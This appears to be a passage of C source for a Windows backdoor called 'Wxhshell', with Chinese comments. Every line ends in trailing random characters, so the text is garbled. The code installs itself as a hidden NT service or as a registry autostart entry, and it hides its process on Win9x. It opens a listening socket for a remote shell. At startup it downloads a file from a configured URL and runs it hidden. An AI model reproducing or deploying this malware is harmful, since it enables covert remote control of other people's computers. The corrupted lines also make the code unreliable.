ULONG UniqueProcessId; ._<gc;G
ULONG InheritedFromUniqueProcessId; 9mEhZ"
} PROCESS_BASIC_INFORMATION; %3T:W\h
c3Zwp%
PROCNTQSIP NtQueryInformationProcess; i|fkwV,5
>HRLL\u9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;V^ I>-fnm
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2G$-:4B
9HAK
HANDLE hProcess; EHm:&w
PROCESS_BASIC_INFORMATION pbi; 2>im'x 5
MJ.Kor
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x)T07,3:
if(NULL == hInst ) return 0; U!T#'H5'-
m^4O jik
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3Z74&a$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]o`FF="at
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q[+V6n`Z5
W |+&K0M
if (!NtQueryInformationProcess) return 0; SpZmwa #\
[Rzn>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [}y"rs`!
if(!hProcess) return 0; Zk0? =f?j
?{>5IjL)en
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \?AA:U*
jxnb<!|?H@
CloseHandle(hProcess); r8!M8Sc
+N!/>w]n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #M92=IH
if(hProcess==NULL) return 0; D$SO 6X~
o
Hrx$>W]
HMODULE hMod; 4<U6jB5
char procName[255]; @fd{5 >\
unsigned long cbNeeded; a!:R_P}7
Ls NJ3oy
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /7C%m:
cQ/T:E7$`
CloseHandle(hProcess); s=n_(}{ q
l%7^'nDn
if(strstr(procName,"services")) return 1; // 以服务启动 w4Ku1G#jC
_2WIi/6K
return 0; // 注册表启动 +ID%( :
} kYkck]|
u!cA_,
// 主模块 T\L
LOx\
int StartWxhshell(LPSTR lpCmdLine) p fg>H
{ IeBb#Qedz
SOCKET wsl; .T}S[`Yx5
BOOL val=TRUE; q|e<b
int port=0; qFjnuQ,w
struct sockaddr_in door; 92L{be;SY
[Kd"M[1[<
if(wscfg.ws_autoins) Install(); Zy >W2(<
a4N8zDS
port=atoi(lpCmdLine); R= *vPS
m`/!7wQs
if(port<=0) port=wscfg.ws_port;
&r
V
H$]FUv8
WSADATA data; sB`zk[R;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SZD@<3 Nb
YR$d\,#R
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ">S.~'ds
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U6oab9C?k
door.sin_family = AF_INET; E)F"!56lV
door.sin_addr.s_addr = inet_addr("127.0.0.1"); If(IG]>`D
door.sin_port = htons(port); tNCKL.yU
i- r y5x
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jVdB- y/r
closesocket(wsl); `d:cq.OO
return 1; BmFs6{>~c
} oOK&+r7
7 *HBb-
if(listen(wsl,2) == INVALID_SOCKET) { Di #E m[
closesocket(wsl); )rv<"
return 1; y&+Sp/6BYA
} 44cy_
Wxhshell(wsl); ]}dAm S/
WSACleanup(); NeY,Of|
woR }=\K
return 0; kM/;R)3t4/
;923^*\:F{
} >zB0+l
b
`.h+=3
// 以NT服务方式启动 JV9Ft,xk
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X.!|#FWb+
{ !Ql&Ls
DWORD status = 0; z c,Q
DWORD specificError = 0xfffffff; 6B>H75S+H
/h73'"SpDy
serviceStatus.dwServiceType = SERVICE_WIN32; Iw) 'Yyg
serviceStatus.dwCurrentState = SERVICE_START_PENDING; qluaop
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HCKj8-*
serviceStatus.dwWin32ExitCode = 0; viR-h
iD
serviceStatus.dwServiceSpecificExitCode = 0; <3c|S_|L*m
serviceStatus.dwCheckPoint = 0; k/V:QdD Sb
serviceStatus.dwWaitHint = 0; 1\+d 5Q0
S`GM#( t@_
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zw"K69A)
if (hServiceStatusHandle==0) return; yTL<S '
NKb,>TO
status = GetLastError();
XvspE}~y
if (status!=NO_ERROR) eLAhfG
{ ~eHu+pv
serviceStatus.dwCurrentState = SERVICE_STOPPED; Se
%"C&
serviceStatus.dwCheckPoint = 0; .m\' |%
serviceStatus.dwWaitHint = 0; ^{Y9!R*9U*
serviceStatus.dwWin32ExitCode = status; 0|_d{/VK4
serviceStatus.dwServiceSpecificExitCode = specificError; >R}p*=J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E`>u*D$un~
return; 5A=FEg
} ]QAMCu(>
l@ W?qw
serviceStatus.dwCurrentState = SERVICE_RUNNING; @.h|T)Zyr
serviceStatus.dwCheckPoint = 0; )s4a<Sc]
serviceStatus.dwWaitHint = 0; z gDc=
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); seo.1.Da2
} Ro|%pT
Rck k
// 处理NT服务事件,比如:启动、停止 )X-/0G=N-
VOID WINAPI NTServiceHandler(DWORD fdwControl) :IlJQ{=W
{ 'VTLp.~G~
switch(fdwControl) rfS kQT
{ 73OYHp_j
case SERVICE_CONTROL_STOP: (Cjw^P|Y@
serviceStatus.dwWin32ExitCode = 0; _l;$<]re\k
serviceStatus.dwCurrentState = SERVICE_STOPPED; H '(Ky
serviceStatus.dwCheckPoint = 0; Bys _8x}
serviceStatus.dwWaitHint = 0; @fxDe[J:
{ CERT`W%o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;v^1V+1:z
} J 4OgV?
return; 3fWL}]{<a
case SERVICE_CONTROL_PAUSE: h\i>4^]X.
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^w|apI~HSE
break; 4w5mn6 MxR
case SERVICE_CONTROL_CONTINUE: u$?t |Ll
serviceStatus.dwCurrentState = SERVICE_RUNNING; R3=]Av46
break; 9n#Em
case SERVICE_CONTROL_INTERROGATE: ![*7HE>},
break; J#^oUq
}; 'u{DFMB-A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d]6#pSE
} _YgvLz
%
Fb{kql=
// 标准应用程序主函数 2E":6:Wsw
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m@){@i2.
{ <ny)yK
eDPmUlC+-
// 获取操作系统版本 @(mXiK
OsIsNt=GetOsVer(); `<:D.9vO "
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZeyAbo
%VD>S
// 从命令行安装 w,QO!)j!
if(strpbrk(lpCmdLine,"iI")) Install(); 0'9zXJ"
5E!G
// 下载执行文件 >1n[Y- r
if(wscfg.ws_downexe) { H(TY.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L'?0*t
WinExec(wscfg.ws_filenam,SW_HIDE); =icynW^Fr
} u\zP`Y
hqKftk)+
if(!OsIsNt) { (\M&Q-xZ
// 如果时win9x,隐藏进程并且设置为注册表启动 D,H v(6({
HideProc(); 3'zm)SXJ
StartWxhshell(lpCmdLine); r g$2)z1
} +/E
yX=
else `Mxi2Y{vp
if(StartFromService()) 3M[b)At V.
// 以服务方式启动 a!US:^}lu
StartServiceCtrlDispatcher(DispatchTable); _#8OHG.x
else ZCbnDj
// 普通方式启动 (wRJ"Nwu
StartWxhshell(lpCmdLine); &gL &@';,
8T#tB,<fFW
return 0; \%FEQa0u
}